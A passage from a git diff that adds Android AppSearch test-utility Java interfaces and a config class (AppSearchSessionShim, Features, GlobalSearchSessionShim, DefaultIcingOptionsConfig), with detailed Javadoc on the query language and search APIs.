+ * keys of the {@link AppSearchBatchResult} represent the input document IDs from the {@link
+ * GetByDocumentIdRequest} object. The values are either the corresponding {@link
+ * GenericDocument} object for the ID on success, or an {@link AppSearchResult} object on
+ * failure. For example, if an ID is not found, the value for that ID will be set to an
+ * {@link AppSearchResult} object with result code: {@link
+ * AppSearchResult#RESULT_NOT_FOUND}.
+ */
+ @NonNull
+ ListenableFuture<AppSearchBatchResult<String, GenericDocument>> getByDocumentIdAsync(
+ @NonNull GetByDocumentIdRequest request);
+
+ /**
+ * Retrieves documents from the open {@link AppSearchSessionShim} that match a given query
+ * string and type of search provided.
+ *
+ * <p>Query strings can be empty, contain one term with no operators, or contain multiple terms
+ * and operators.
+ *
+ * <p>For query strings that are empty, all documents that match the {@link SearchSpec} will be
+ * returned.
+ *
+ * <p>For query strings with a single term and no operators, documents that match the provided
+ * query string and {@link SearchSpec} will be returned.
+ *
+ * <p>The following operators are supported:
+ *
+ * <ul>
+ * <li>AND (implicit)
+ * <p>AND is an operator that matches documents that contain <i>all</i> provided terms.
+ * <p><b>NOTE:</b> A space between terms is treated as an "AND" operator. Explicitly
+ * including "AND" in a query string will treat "AND" as a term, returning documents that
+ * also contain "AND".
+ * <p>Example: "apple AND banana" matches documents that contain the terms "apple", "and",
+ * "banana".
+ * <p>Example: "apple banana" matches documents that contain both "apple" and "banana".
+ * <p>Example: "apple banana cherry" matches documents that contain "apple", "banana", and
+ * "cherry".
+ * <li>OR
+ * <p>OR is an operator that matches documents that contain <i>any</i> provided term.
+ * <p>Example: "apple OR banana" matches documents that contain either "apple" or
+ * "banana".
+ * <p>Example: "apple OR banana OR cherry" matches documents that contain any of "apple",
+ * "banana", or "cherry".
+ * <li>Exclusion (-)
+ * <p>Exclusion (-) is an operator that matches documents that <i>do not</i> contain the
+ * provided term.
+ * <p>Example: "-apple" matches documents that do not contain "apple".
+ * <li>Grouped Terms
+ * <p>For queries that require multiple operators and terms, terms can be grouped into
+ * subqueries. Subqueries are contained within an open "(" and close ")" parenthesis.
+ * <p>Example: "(donut OR bagel) (coffee OR tea)" matches documents that contain either
+ * "donut" or "bagel" and either "coffee" or "tea".
+ * <li>Property Restricts
+ * <p>For queries that require a term to match a specific {@link AppSearchSchema} property
+ * of a document, a ":" must be included between the property name and the term.
+ * <p>Example: "subject:important" matches documents that contain the term "important" in
+ * the "subject" property.
+ * </ul>
+ *
+ * <p>The above description covers the query operators that are supported on all versions of
+ * AppSearch. Additional operators and their required features are described below.
+ *
+ * <p>{@link Features#LIST_FILTER_QUERY_LANGUAGE}: This feature covers the expansion of the
+ * query language to conform to the definition of the list filters language (https://aip
+ * .dev/160). This includes:
+ *
+ * <ul>
+ * <li>addition of explicit 'AND' and 'NOT' operators
+ * <li>property restricts are allowed with groupings (ex. "prop:(a OR b)")
+ * <li>addition of custom functions to control matching
+ * </ul>
+ *
+ * <p>The newly added custom functions covered by this feature are:
+ *
+ * <ul>
+ * <li>createList(String...)
+ * <li>search(String, List<String>)
+ * <li>propertyDefined(String)
+ * </ul>
+ *
+ * <p>createList takes a variable number of strings and returns a list of strings. It is for use
+ * with search.
+ *
+ * <p>search takes a query string that will be parsed according to the supported query language
+ * and an optional list of strings that specify the properties to be restricted to. This exists
+ * as a convenience for multiple property restricts. So, for example, the query `(subject:foo OR
+ * body:foo) (subject:bar OR body:bar)` could be rewritten as `search("foo bar",
+ * createList("subject", "bar"))`.
+ *
+ * <p>propertyDefined takes a string specifying the property of interest and matches all
+ * documents of any type that defines the specified property (ex.
+ * `propertyDefined("sender.name")`). Note that propertyDefined will match so long as the
+ * document's type defines the specified property. It does NOT require that the document
+ * actually hold any values for this property.
+ *
+ * <p>{@link Features#NUMERIC_SEARCH}: This feature covers numeric search expressions. In the
+ * query language, the values of properties that have {@link
+ * AppSearchSchema.LongPropertyConfig#INDEXING_TYPE_RANGE} set can be matched with a numeric
+ * search expression (the property, a supported comparator and an integer value). Supported
+ * comparators are <, <=, ==, >= and >.
+ *
+ * <p>Ex. `price < 10` will match all documents that has a numeric value in its price property
+ * that is less than 10.
+ *
+ * <p>{@link Features#VERBATIM_SEARCH}: This feature covers the verbatim string operator
+ * (quotation marks).
+ *
+ * <p>Ex. `"foo/bar" OR baz` will ensure that 'foo/bar' is treated as a single 'verbatim' token.
+ *
+ * <p>The availability of each of these features can be checked by calling {@link
+ * Features#isFeatureSupported} with the desired feature.
+ *
+ * <p>Additional search specifications, such as filtering by {@link AppSearchSchema} type or
+ * adding projection, can be set by calling the corresponding {@link SearchSpec.Builder} setter.
+ *
+ * <p>This method is lightweight. The heavy work will be done in {@link
+ * SearchResultsShim#getNextPage}.
+ *
+ * @param queryExpression query string to search.
+ * @param searchSpec spec for setting document filters, adding projection, setting term match
+ * type, etc.
+ * @return a {@link SearchResultsShim} object for retrieved matched documents.
+ */
+ @NonNull
+ SearchResultsShim search(@NonNull String queryExpression, @NonNull SearchSpec searchSpec);
+
+ /**
+ * Retrieves suggested Strings that could be used as {@code queryExpression} in {@link
+ * #search(String, SearchSpec)} API.
+ *
+ * <p>The {@code suggestionQueryExpression} can contain one term with no operators, or contain
+ * multiple terms and operators. Operators will be considered as a normal term. Please see the
+ * operator examples below. The {@code suggestionQueryExpression} must end with a valid term,
+ * the suggestions are generated based on the last term. If the input {@code
+ * suggestionQueryExpression} doesn't have a valid token, AppSearch will return an empty result
+ * list. Please see the invalid examples below.
+ *
+ * <p>Example: if there are following documents with content stored in AppSearch.
+ *
+ * <ul>
+ * <li>document1: "term1"
+ * <li>document2: "term1 term2"
+ * <li>document3: "term1 term2 term3"
+ * <li>document4: "org"
+ * </ul>
+ *
+ * <p>Search suggestions with the single term {@code suggestionQueryExpression} "t", the
+ * suggested results are:
+ *
+ * <ul>
+ * <li>"term1" - Use it to be queryExpression in {@link #search} could get 3 {@link
+ * SearchResult}s, which contains document 1, 2 and 3.
+ * <li>"term2" - Use it to be queryExpression in {@link #search} could get 2 {@link
+ * SearchResult}s, which contains document 2 and 3.
+ * <li>"term3" - Use it to be queryExpression in {@link #search} could get 1 {@link
+ * SearchResult}, which contains document 3.
+ * </ul>
+ *
+ * <p>Search suggestions with the multiple term {@code suggestionQueryExpression} "org t", the
+ * suggested result will be "org term1" - The last token is completed by the suggested String.
+ *
+ * <p>Operators in {@link #search} are supported.
+ *
+ * <p><b>NOTE:</b> Exclusion and Grouped Terms in the last term is not supported.
+ *
+ * <p>example: "apple -f": This Api will throw an {@link
+ * android.app.appsearch.exceptions.AppSearchException} with {@link
+ * AppSearchResult#RESULT_INVALID_ARGUMENT}.
+ *
+ * <p>example: "apple (f)": This Api will return an empty results.
+ *
+ * <p>Invalid example: All these input {@code suggestionQueryExpression} don't have a valid last
+ * token, AppSearch will return an empty result list.
+ *
+ * <ul>
+ * <li>"" - Empty {@code suggestionQueryExpression}.
+ * <li>"(f)" - Ending in a closed brackets.
+ * <li>"f:" - Ending in an operator.
+ * <li>"f " - Ending in trailing space.
+ * </ul>
+ *
+ * @param suggestionQueryExpression the non empty query string to search suggestions
+ * @param searchSuggestionSpec spec for setting document filters
+ * @return The pending result of performing this operation which resolves to a List of {@link
+ * SearchSuggestionResult} on success. The returned suggestion Strings are ordered by the
+ * number of {@link SearchResult} you could get by using that suggestion in {@link #search}.
+ * @see #search(String, SearchSpec)
+ */
+ @NonNull
+ ListenableFuture<List<SearchSuggestionResult>> searchSuggestionAsync(
+ @NonNull String suggestionQueryExpression,
+ @NonNull SearchSuggestionSpec searchSuggestionSpec);
+
+ /**
+ * Reports usage of a particular document by namespace and ID.
+ *
+ * <p>A usage report represents an event in which a user interacted with or viewed a document.
+ *
+ * <p>For each call to {@link #reportUsage}, AppSearch updates usage count and usage recency *
+ * metrics for that particular document. These metrics are used for ordering {@link #search}
+ * results by the {@link SearchSpec#RANKING_STRATEGY_USAGE_COUNT} and {@link
+ * SearchSpec#RANKING_STRATEGY_USAGE_LAST_USED_TIMESTAMP} ranking strategies.
+ *
+ * <p>Reporting usage of a document is optional.
+ *
+ * @param request The usage reporting request.
+ * @return The pending result of performing this operation which resolves to {@code null} on
+ * success.
+ */
+ @NonNull
+ ListenableFuture<Void> reportUsageAsync(@NonNull ReportUsageRequest request);
+
+ /**
+ * Removes {@link GenericDocument} objects by document IDs in a namespace from the {@link
+ * AppSearchSessionShim} database.
+ *
+ * <p>Removed documents will no longer be surfaced by {@link #search} or {@link
+ * #getByDocumentId} calls.
+ *
+ * <p>Once the database crosses the document count or byte usage threshold, removed documents
+ * will be deleted from disk.
+ *
+ * @param request {@link RemoveByDocumentIdRequest} with IDs in a namespace to remove from the
+ * index.
+ * @return a {@link ListenableFuture} which resolves to an {@link AppSearchBatchResult}. The
+ * keys of the {@link AppSearchBatchResult} represent the input IDs from the {@link
+ * RemoveByDocumentIdRequest} object. The values are either {@code null} on success, or a
+ * failed {@link AppSearchResult} otherwise. IDs that are not found will return a failed
+ * {@link AppSearchResult} with a result code of {@link AppSearchResult#RESULT_NOT_FOUND}.
+ */
+ @NonNull
+ ListenableFuture<AppSearchBatchResult<String, Void>> removeAsync(
+ @NonNull RemoveByDocumentIdRequest request);
+
+ /**
+ * Removes {@link GenericDocument}s from the index by Query. Documents will be removed if they
+ * match the {@code queryExpression} in given namespaces and schemaTypes which is set via {@link
+ * SearchSpec.Builder#addFilterNamespaces} and {@link SearchSpec.Builder#addFilterSchemas}.
+ *
+ * <p>An empty {@code queryExpression} matches all documents.
+ *
+ * <p>An empty set of namespaces or schemaTypes matches all namespaces or schemaTypes in the
+ * current database.
+ *
+ * @param queryExpression Query String to search.
+ * @param searchSpec Spec containing schemaTypes, namespaces and query expression indicates how
+ * document will be removed. All specific about how to scoring, ordering, snippeting and
+ * resulting will be ignored.
+ * @return The pending result of performing this operation.
+ * @throws IllegalArgumentException if the {@link SearchSpec} contains a {@link JoinSpec}.
+ * {@link JoinSpec} lets you join docs that are not owned by the caller, so the semantics of
+ * failures from this method would be complex.
+ */
+ @NonNull
+ ListenableFuture<Void> removeAsync(
+ @NonNull String queryExpression, @NonNull SearchSpec searchSpec);
+
+ /**
+ * Gets the storage info for this {@link AppSearchSessionShim} database.
+ *
+ * <p>This may take time proportional to the number of documents and may be inefficient to call
+ * repeatedly.
+ *
+ * @return a {@link ListenableFuture} which resolves to a {@link StorageInfo} object.
+ */
+ @NonNull
+ ListenableFuture<StorageInfo> getStorageInfoAsync();
+
+ /**
+ * Flush all schema and document updates, additions, and deletes to disk if possible.
+ *
+ * <p>The request is not guaranteed to be handled and may be ignored by some implementations of
+ * AppSearchSessionShim.
+ *
+ * @return The pending result of performing this operation. {@link
+ * android.app.appsearch.exceptions.AppSearchException} with {@link
+ * AppSearchResult#RESULT_INTERNAL_ERROR} will be set to the future if we hit error when
+ * save to disk.
+ */
+ @NonNull
+ ListenableFuture<Void> requestFlushAsync();
+
+ /**
+ * Returns the {@link Features} to check for the availability of certain features for this
+ * session.
+ */
+ @NonNull
+ Features getFeatures();
+
+ /**
+ * Closes the {@link AppSearchSessionShim} to persist all schema and document updates,
+ * additions, and deletes to disk.
+ */
+ @Override
+ void close();
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/DefaultIcingOptionsConfig.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/DefaultIcingOptionsConfig.java
new file mode 100644
index 00000000000..12f77fb0691
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/DefaultIcingOptionsConfig.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.server.appsearch.external.localstorage;
+
+
+/**
+ * Icing options for AppSearch local-storage. Note, these values are not necessarily the defaults
+ * set in {@link com.google.android.icing.proto.IcingSearchEngineOptions} proto.
+ */
+public class DefaultIcingOptionsConfig implements IcingOptionsConfig {
+ @Override
+ public int getMaxTokenLength() {
+ return DEFAULT_MAX_TOKEN_LENGTH;
+ }
+
+ @Override
+ public int getIndexMergeSize() {
+ return DEFAULT_INDEX_MERGE_SIZE;
+ }
+
+ @Override
+ public boolean getDocumentStoreNamespaceIdFingerprint() {
+ return true;
+ }
+
+ @Override
+ public float getOptimizeRebuildIndexThreshold() {
+ return 0.9f;
+ }
+
+ @Override
+ public int getCompressionLevel() {
+ return DEFAULT_COMPRESSION_LEVEL;
+ }
+
+ @Override
+ public boolean getAllowCircularSchemaDefinitions() {
+ return true;
+ }
+
+ @Override
+ public boolean getUseReadOnlySearch() {
+ return true;
+ }
+
+ @Override
+ public boolean getUsePreMappingWithFileBackedVector() {
+ return false;
+ }
+
+ @Override
+ public boolean getUsePersistentHashMap() {
+ return true;
+ }
+
+ @Override
+ public int getMaxPageBytesLimit() {
+ return DEFAULT_MAX_PAGE_BYTES_LIMIT;
+ }
+
+ @Override
+ public int getIntegerIndexBucketSplitThreshold() {
+ return DEFAULT_INTEGER_INDEX_BUCKET_SPLIT_THRESHOLD;
+ }
+
+ @Override
+ public boolean getLiteIndexSortAtIndexing() {
+ return DEFAULT_LITE_INDEX_SORT_AT_INDEXING;
+ }
+
+ @Override
+ public int getLiteIndexSortSize() {
+ return DEFAULT_LITE_INDEX_SORT_SIZE;
+ }
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/Features.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/Features.java
new file mode 100644
index 00000000000..59015b764b7
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/Features.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.appsearch;
+
+import android.annotation.NonNull;
+import android.content.Context;
+
+/**
+ * A class that encapsulates all features that are only supported in certain cases (e.g. only on
+ * certain implementations or only at a certain Android API Level).
+ *
+ * <p>Features do not depend on any runtime state, and features will never be removed. Once {@link
+ * #isFeatureSupported} returns {@code true} for a certain feature, it is safe to assume that the
+ * feature will be available forever on that AppSearch storage implementation, at that Android API
+ * level, on that device.
+ */
+public interface Features {
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * SearchResult.MatchInfo#getSubmatchRange} and {@link SearchResult.MatchInfo#getSubmatch}.
+ */
+ String SEARCH_RESULT_MATCH_INFO_SUBMATCH = "SEARCH_RESULT_MATCH_INFO_SUBMATCH";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * GlobalSearchSession#registerObserverCallback} and {@link
+ * GlobalSearchSession#unregisterObserverCallback}.
+ */
+ String GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK =
+ "GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * GlobalSearchSession#getSchema}.
+ */
+ String GLOBAL_SEARCH_SESSION_GET_SCHEMA = "GLOBAL_SEARCH_SESSION_GET_SCHEMA";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * GlobalSearchSession#getByDocumentId}.
+ */
+ String GLOBAL_SEARCH_SESSION_GET_BY_ID = "GLOBAL_SEARCH_SESSION_GET_BY_ID";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * SetSchemaRequest.Builder#addAllowedRoleForSchemaTypeVisibility}, {@link
+ * SetSchemaRequest.Builder#clearAllowedRolesForSchemaTypeVisibility}, {@link
+ * GetSchemaResponse#getSchemaTypesNotDisplayedBySystem()}, {@link
+ * GetSchemaResponse#getSchemaTypesVisibleToPackages()}, {@link
+ * GetSchemaResponse#getRequiredPermissionsForSchemaTypeVisibility()}, {@link
+ * SetSchemaRequest.Builder#addRequiredPermissionsForSchemaTypeVisibility} and {@link
+ * SetSchemaRequest.Builder#clearRequiredPermissionsForSchemaTypeVisibility}
+ */
+ String ADD_PERMISSIONS_AND_GET_VISIBILITY = "ADD_PERMISSIONS_AND_GET_VISIBILITY";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSchema.StringPropertyConfig#TOKENIZER_TYPE_RFC822}.
+ */
+ String TOKENIZER_TYPE_RFC822 = "TOKENIZER_TYPE_RFC822";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSchema.LongPropertyConfig#INDEXING_TYPE_RANGE} and all other numeric search
+ * features.
+ *
+ * <p>For details on the numeric search expressions in the query language, see {@link
+ * AppSearchSession#search}.
+ */
+ String NUMERIC_SEARCH = FeatureConstants.NUMERIC_SEARCH;
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSchema.StringPropertyConfig#TOKENIZER_TYPE_VERBATIM} and all other verbatim search
+ * features within the query language that allows clients to search using the verbatim string
+ * operator.
+ *
+ * <p>For details on the verbatim string operator, see {@link AppSearchSession#search}.
+ */
+ String VERBATIM_SEARCH = FeatureConstants.VERBATIM_SEARCH;
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers the expansion of the
+ * query language to conform to the definition of the list filters language
+ * (https://aip.dev/160).
+ *
+ * <p>For more details, see {@link AppSearchSession#search}.
+ */
+ String LIST_FILTER_QUERY_LANGUAGE = FeatureConstants.LIST_FILTER_QUERY_LANGUAGE;
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * SearchSpec#GROUPING_TYPE_PER_SCHEMA}
+ */
+ String SEARCH_SPEC_GROUPING_TYPE_PER_SCHEMA = "SEARCH_SPEC_GROUPING_TYPE_PER_SCHEMA";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * SearchSpec.Builder#setPropertyWeights}.
+ */
+ String SEARCH_SPEC_PROPERTY_WEIGHTS = "SEARCH_SPEC_PROPERTY_WEIGHTS";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * SearchSpec.Builder#addFilterProperties}.
+ *
+ * @hide
+ */
+ String SEARCH_SPEC_ADD_FILTER_PROPERTIES = "SEARCH_SPEC_ADD_FILTER_PROPERTIES";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * SearchSpec.Builder#setRankingStrategy(String)}.
+ */
+ String SEARCH_SPEC_ADVANCED_RANKING_EXPRESSION = "SEARCH_SPEC_ADVANCED_RANKING_EXPRESSION";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSchema.StringPropertyConfig#JOINABLE_VALUE_TYPE_QUALIFIED_ID}, {@link
+ * SearchSpec.Builder#setJoinSpec}, and all other join features.
+ */
+ String JOIN_SPEC_AND_QUALIFIED_ID = "JOIN_SPEC_AND_QUALIFIED_ID";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSession#searchSuggestion}.
+ */
+ String SEARCH_SUGGESTION = "SEARCH_SUGGESTION";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSchema.StringPropertyConfig.Builder#setDeletionPropagation}.
+ */
+ String SCHEMA_SET_DELETION_PROPAGATION = "SCHEMA_SET_DELETION_PROPAGATION";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers setting schemas with
+ * circular references for {@link AppSearchSession#setSchema}.
+ */
+ String SET_SCHEMA_CIRCULAR_REFERENCES = "SET_SCHEMA_CIRCULAR_REFERENCES";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSchema.Builder#addParentType}.
+ */
+ String SCHEMA_ADD_PARENT_TYPE = "SCHEMA_ADD_PARENT_TYPE";
+
+ /**
+ * Feature for {@link #isFeatureSupported(String)}. This feature covers {@link
+ * AppSearchSchema.DocumentPropertyConfig.Builder#addIndexableNestedProperties(String...)}
+ */
+ String SCHEMA_ADD_INDEXABLE_NESTED_PROPERTIES = "SCHEMA_ADD_INDEXABLE_NESTED_PROPERTIES";
+
+ /**
+ * Returns whether a feature is supported at run-time. Feature support depends on the feature in
+ * question, the AppSearch backend being used and the Android version of the device.
+ *
+ * <p class="note"><b>Note:</b> If this method returns {@code false}, it is not safe to invoke
+ * the methods requiring the desired feature.
+ *
+ * @param feature the feature to be checked
+ * @return whether the capability is supported given the Android API level and AppSearch
+ * backend.
+ */
+ boolean isFeatureSupported(@NonNull String feature);
+
+ /**
+ * Returns the maximum amount of properties that can be indexed in a Document given the Android
+ * API level and AppSearch backend.
+ *
+ * <p>A property is defined as all values that are present at a particular path.
+ *
+ * @param context to check mainline module version, as support varies by module version.
+ */
+ int getMaxIndexedProperties(@NonNull Context context);
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/GlobalSearchSessionShim.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/GlobalSearchSessionShim.java
new file mode 100644
index 00000000000..a28d44c3492
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/GlobalSearchSessionShim.java
@@ -0,0 +1,193 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch;
+
+import android.annotation.NonNull;
+import android.annotation.SuppressLint;
+import android.app.appsearch.exceptions.AppSearchException;
+import android.app.appsearch.observer.ObserverCallback;
+import android.app.appsearch.observer.ObserverSpec;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+import java.io.Closeable;
+import java.util.concurrent.Executor;
+
+/**
+ * Provides a connection to all AppSearch databases the querying application has been granted access
+ * to.
+ *
+ * <p>All implementations of this interface must be thread safe.
+ *
+ * @see AppSearchSessionShim
+ */
+public interface GlobalSearchSessionShim extends Closeable {
+ /**
+ * Retrieves {@link GenericDocument} documents, belonging to the specified package name and
+ * database name and identified by the namespace and ids in the request, from the {@link
+ * GlobalSearchSessionShim} database. When a call is successful, the result will be returned in
+ * the successes section of the {@link AppSearchBatchResult} object in the callback. If the
+ * package doesn't exist, database doesn't exist, or if the calling package doesn't have access,
+ * these failures will be reflected as {@link AppSearchResult} objects with a RESULT_NOT_FOUND
+ * status code in the failures section of the {@link AppSearchBatchResult} object.
+ *
+ * @param packageName the name of the package to get from
+ * @param databaseName the name of the database to get from
+ * @param request a request containing a namespace and IDs of the documents to retrieve.
+ */
+ @NonNull
+ ListenableFuture<AppSearchBatchResult<String, GenericDocument>> getByDocumentIdAsync(
+ @NonNull String packageName,
+ @NonNull String databaseName,
+ @NonNull GetByDocumentIdRequest request);
+
+ /**
+ * Retrieves documents from all AppSearch databases that the querying application has access to.
+ *
+ * <p>Applications can be granted access to documents by specifying {@link
+ * SetSchemaRequest.Builder#setSchemaTypeVisibilityForPackage}, or {@link
+ * SetSchemaRequest.Builder#setDocumentClassVisibilityForPackage} when building a schema.
+ *
+ * <p>Document access can also be granted to system UIs by specifying {@link
+ * SetSchemaRequest.Builder#setSchemaTypeDisplayedBySystem}, or {@link
+ * SetSchemaRequest.Builder#setDocumentClassDisplayedBySystem} when building a schema.
+ *
+ * <p>See {@link AppSearchSessionShim#search} for a detailed explanation on forming a query
+ * string.
+ *
+ * <p>This method is lightweight. The heavy work will be done in {@link
+ * SearchResultsShim#getNextPage}.
+ *
+ * @param queryExpression query string to search.
+ * @param searchSpec spec for setting document filters, adding projection, setting term match
+ * type, etc.
+ * @return a {@link SearchResultsShim} object for retrieved matched documents.
+ */
+ @NonNull
+ SearchResultsShim search(@NonNull String queryExpression, @NonNull SearchSpec searchSpec);
+
+ /**
+ * Reports that a particular document has been used from a system surface.
+ *
+ * <p>See {@link AppSearchSessionShim#reportUsage} for a general description of document usage,
+ * as well as an API that can be used by the app itself.
+ *
+ * <p>Usage reported via this method is accounted separately from usage reported via {@link
+ * AppSearchSessionShim#reportUsage} and may be accessed using the constants {@link
+ * SearchSpec#RANKING_STRATEGY_SYSTEM_USAGE_COUNT} and {@link
+ * SearchSpec#RANKING_STRATEGY_SYSTEM_USAGE_LAST_USED_TIMESTAMP}.
+ *
+ * @return The pending result of performing this operation which resolves to {@code null} on
+ * success. The pending result will be completed with an {@link
+ * android.app.appsearch.exceptions.AppSearchException} with a code of {@link
+ * AppSearchResult#RESULT_SECURITY_ERROR} if this API is invoked by an app which is not part
+ * of the system.
+ */
+ @NonNull
+ ListenableFuture<Void> reportSystemUsageAsync(@NonNull ReportSystemUsageRequest request);
+
+ /**
+ * Retrieves the collection of schemas most recently successfully provided to {@link
+ * AppSearchSessionShim#setSchema} for any types belonging to the requested package and database
+ * that the caller has been granted access to.
+ *
+ * <p>If the requested package/database combination does not exist or the caller has not been
+ * granted access to it, then an empty GetSchemaResponse will be returned.
+ *
+ * @param packageName the package that owns the requested {@link AppSearchSchema} instances.
+ * @param databaseName the database that owns the requested {@link AppSearchSchema} instances.
+ * @return The pending {@link GetSchemaResponse} containing the schemas that the caller has
+ * access to or an empty GetSchemaResponse if the request package and database does not
+ * exist, has not set a schema or contains no schemas that are accessible to the caller.
+ */
+ // This call hits disk; async API prevents us from treating these calls as properties.
+ @SuppressLint("KotlinPropertyAccess")
+ @NonNull
+ ListenableFuture<GetSchemaResponse> getSchemaAsync(
+ @NonNull String packageName, @NonNull String databaseName);
+
+ /**
+ * Returns the {@link Features} to check for the availability of certain features for this
+ * session.
+ */
+ @NonNull
+ Features getFeatures();
+
+ /**
+ * Adds an {@link ObserverCallback} to monitor changes within the databases owned by {@code
+ * targetPackageName} if they match the given {@link
+ * android.app.appsearch.observer.ObserverSpec}.
+ *
+ * <p>The observer callback is only triggered for data that changes after it is registered. No
+ * notification about existing data is sent as a result of registering an observer. To find out
+ * about existing data, you must use the {@link GlobalSearchSessionShim#search} API.
+ *
+ * <p>If the data owned by {@code targetPackageName} is not visible to you, the registration
+ * call will succeed but no notifications will be dispatched. Notifications could start flowing
+ * later if {@code targetPackageName} changes its schema visibility settings.
+ *
+ * <p>If no package matching {@code targetPackageName} exists on the system, the registration
+ * call will succeed but no notifications will be dispatched. Notifications could start flowing
+ * later if {@code targetPackageName} is installed and starts indexing data.
+ *
+ * <p>This feature may not be available in all implementations. Check {@link
+ * Features#GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK} before calling this method.
+ *
+ * @param targetPackageName Package whose changes to monitor
+ * @param spec Specification of what types of changes to listen for
+ * @param executor Executor on which to call the {@code observer} callback methods.
+ * @param observer Callback to trigger when a schema or document changes
+ * @throws AppSearchException if an error occurs trying to register the observer
+ * @throws UnsupportedOperationException if this feature is not available on this AppSearch
+ * implementation.
+ */
+ void registerObserverCallback(
+ @NonNull String targetPackageName,
+ @NonNull ObserverSpec spec,
+ @NonNull Executor executor,
+ @NonNull ObserverCallback observer)
+ throws AppSearchException;
+
+ /**
+ * Removes previously registered {@link ObserverCallback} instances from the system.
+ *
+ * <p>All instances of {@link ObserverCallback} which are registered to observe {@code
+ * targetPackageName} and compare equal to the provided callback using the provided argument's
+ * {@link ObserverCallback#equals} will be removed.
+ *
+ * <p>If no matching observers have been registered, this method has no effect. If multiple
+ * matching observers have been registered, all will be removed.
+ *
+ * <p>This feature may not be available in all implementations. Check {@link
+ * Features#GLOBAL_SEARCH_SESSION_REGISTER_OBSERVER_CALLBACK} before calling this method.
+ *
+ * @param targetPackageName Package which the observers to be removed are listening to.
+ * @param observer Callback to unregister.
+ * @throws AppSearchException if an error occurs trying to remove the observer, such as a
+ * failure to communicate with the system service in the platform backend. Note that no
+ * error will be thrown if the provided observer doesn't match any registered observer.
+ * @throws UnsupportedOperationException if this feature is not available on this AppSearch
+ * implementation.
+ */
+ void unregisterObserverCallback(
+ @NonNull String targetPackageName, @NonNull ObserverCallback observer)
+ throws AppSearchException;
+
+ /** Closes the {@link GlobalSearchSessionShim}. */
+ @Override
+ void close();
+}
diff --git a/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/SearchResultsShim.java b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/SearchResultsShim.java
new file mode 100644
index 00000000000..511d7170157
--- /dev/null
+++ b/tests/appsearch/testutils/src/android/app/appsearch/testutil/external/SearchResultsShim.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
